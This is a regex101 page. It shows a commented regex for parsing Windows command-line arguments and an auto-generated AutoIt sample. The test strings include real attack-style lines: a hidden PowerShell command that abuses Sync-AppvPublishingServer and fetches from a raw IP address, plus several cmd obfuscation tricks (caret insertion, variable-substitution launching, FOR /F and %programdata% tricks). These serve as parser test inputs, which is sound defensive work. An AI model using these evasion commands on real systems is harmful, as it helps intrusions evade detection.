Regular Expressions 101

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  • Unit Tests (2)

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An explanation of your regex will be automatically generated as you type.
Detailed match information will be displayed here automatically.
  • All Tokens
  • Common Tokens
  • General Tokens
  • Anchors
  • Meta Sequences
  • Quantifiers
  • Group Constructs
  • Character Classes
  • Flags/Modifiers
  • Substitution
  • A single character of: a, b or c
    [abc]
  • A character except: a, b or c
    [^abc]
  • A character in the range: a-z
    [a-z]
  • A character not in the range: a-z
    [^a-z]
  • A character in the range: a-z or A-Z
    [a-zA-Z]
  • Any single character
    .
  • Alternate - match either a or b
    a|b
  • Any whitespace character
    \s
  • Any non-whitespace character
    \S
  • Any digit
    \d
  • Any non-digit
    \D
  • Any word character
    \w
  • Any non-word character
    \W
  • Non-capturing group
    (?:...)
  • Capturing group
    (...)
  • Zero or one of a
    a?
  • Zero or more of a
    a*
  • One or more of a
    a+
  • Exactly 3 of a
    a{3}
  • 3 or more of a
    a{3,}
  • Between 3 and 6 of a
    a{3,6}
  • Start of string
    ^
  • End of string
    $
  • A word boundary
    \b
  • Non-word boundary
    \B

Regular Expression

/
/
gmJ

Test String

Code Generator

Generated Code

#include <StringConstants.au3> ; to declare the Constants of StringRegExp #include <Array.au3> ; UDF needed for _ArrayDisplay and _ArrayConcatenate Local $sRegex = "(?mJ)(?#\" & @CRLF & _ "Doc: This regex will split the commandline in arguments" & @CRLF & _ "" & @CRLF & _ "Details:" & @CRLF & _ " The arg variable will contain all the different arguments" & @CRLF & _ " argument delimiters are in two categories :" & @CRLF & _ " whitespaces delimiters : \t \n \r \v ' '" & @CRLF & _ " ',' : is a delimiter in the windows cmd " & @CRLF & _ " but it's not one in the powershell" & @CRLF & _ " quotation delimiters : \' \` \"" & @CRLF & _ "" & @CRLF & _ "Variables:" & @CRLF & _ " arg : will contain each argument" & @CRLF & _ "Next variables can be adjusted by adding or deleting delimiters" & @CRLF & _ " quote_delimiters : quoted argument delimiters" & @CRLF & _ " whitespace_delimiters : whitespace argument delimiters" & @CRLF & _ "" & @CRLF & _ ")(?#\" & @CRLF & _ ")(?<arg>(?#\" & @CRLF & _ " )(?<arg_quote>(?#\" & @CRLF & _ " )(?<quote_delimiters>"|'|`)(?#\" & @CRLF & _ " )(?:(?#\" & @CRLF & _ " )(?!\3)(?#\" & @CRLF & _ " )(?<escape>(?(?!\\)[\x00-\xFF]|[\x00-\xFF]{2}))(?#\" & @CRLF & _ " ))*(?#\" & @CRLF & _ " )\3(?#\" & @CRLF & _ " ))|(?<arg_whitespace>(?#\" & @CRLF & _ " )(?:(?#\" & @CRLF & _ " )(?!(?#\" & @CRLF & _ " )(?<whitespace_delimiters>\s|$)|(?#\" & @CRLF & _ " )(?P>quote_delimiters)(?#\" & @CRLF & _ " ))(?#\" & @CRLF & _ " )(?P>escape)(?#\" & @CRLF & _ " ))+(?#\" & @CRLF & _ " ))(?#\" & @CRLF & _ "))(?#\" & @CRLF & _ ")(?#\" & @CRLF & _ ")(?#\" & @CRLF & _ "Related doc:" & @CRLF & _ " https://docs.microsoft.com/fr-fr/cpp/c-language/parsing-c-command-line-arguments?view=vs-2019" & @CRLF & _ " http://daviddeley.com/autohotkey/parameters/parameters.htm" & @CRLF & _ ")" Local $sString = ""C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe" --type=renderer /prefetch:1 "R:\Coficine\MCI\01 Activités\03 PARTICIPATIONS\2 Sociétés\1 Particip. actuelles\Monello Productions\03. Dossier client\01. KYC\Actionnariat\Actionnariat - 2018-05-03.pdf"" & @CRLF & _ "" & @CRLF & _ ""C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NonInteractive -WindowStyle Hidden -ExecutionPolicy RemoteSigned -Command &amp;{$env:psmodulepath = [IO.Directory]::GetCurrentDirectory(); import-module AppvClient; Sync-AppvPublishingServer \n;(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;Invoke-WebRequest -Uri http://209.97.141.246/ee/index_files/alert.css}" & @CRLF & _ "" & @CRLF & _ ""UNIT TESTS :"" & @CRLF & _ "" & @CRLF & _ "''" & @CRLF & _ " arg0\ \ \\ "arg1\"\"" "arg2\"\\""arg3 \"" 'arg4"arg4"' arg5 arg6 " & @CRLF & _ "" & @CRLF & _ " space_bef_and_aft__arg0 arg1 arg2 arg3 " & @CRLF & _ "space_aft___________arg0 arg1 arg2 arg3 " & @CRLF & _ " space_bef__________arg0 arg1 arg2 arg3" & @CRLF & _ "nospace_____________arg0 arg1 arg2 arg3" & @CRLF & _ "" & @CRLF & _ " multispace______________arg0 arg1 arg2 arg3 arg4 " & @CRLF & _ "" & @CRLF & _ " C:\ProgramData\Anaconda3\python.exe C:\ProgramData\Anaconda3\cwp.py C:\ProgramData\Anaconda3 C:\ProgramData\Anaconda3\python.exe C:\ProgramData\Anaconda3\Scripts\jupyter-notebook-script.py "%USERPROFILE%/" " & @CRLF & _ "" & @CRLF & _ "." & @CRLF & _ "" & @CRLF & _ "`echo `ls "/tmp"``'``'" & @CRLF & _ "" & @CRLF & _ "1""3"4"" & @CRLF & _ "" & @CRLF & _ "n^e^t u^s^er" & @CRLF & _ "" & @CRLF & _ "cmd /c "set x=calc & echo %x% | cmd"" & @CRLF & _ "cmd /c "set x=c@alc & echo %x:@=mantvydas% | cmd"" & @CRLF & _ "" & @CRLF & _ "\c \\ \' \" '\'\'\'\'\'\'\'\\' " & @CRLF & _ "" & @CRLF & _ "'# this will take the C character from %programdata% and will launch the cmd prompt'" & @CRLF & _ "%programdata:~0,1%md \c "whatever"" & @CRLF & _ "" & @CRLF & _ "@cmd" & @CRLF & _ "set pSM " & @CRLF & _ "PSModulePath=C:\Users\mantvydas\Documents\WindowsPowerShell\Modules;...." & @CRLF & _ "" & @CRLF & _ "FOR /F "tokens=7 delims=s\\" %g IN ('set^|findstr PSM') do %g" & @CRLF & _ "" & @CRLF & _ "cmd,/c;hostname" & @CRLF & _ "" & @CRLF & _ "" & @CRLF & _ "" & @CRLF & _ "" & @CRLF & _ "" & @CRLF & _ "" Local $aArray = StringRegExp($sString, $sRegex, $STR_REGEXPARRAYGLOBALFULLMATCH) Local $aFullArray[0] For $i = 0 To UBound($aArray) -1 _ArrayConcatenate($aFullArray, $aArray[$i]) Next $aArray = $aFullArray ; Present the entire match result _ArrayDisplay($aArray, "Result")

Please keep in mind that these code samples are automatically generated and are not guaranteed to work. If you find any syntax errors, feel free to submit a bug report. For a full regex reference for AutoIt, please visit: https://www.autoitscript.com/autoit3/docs/functions/StringRegExp.htm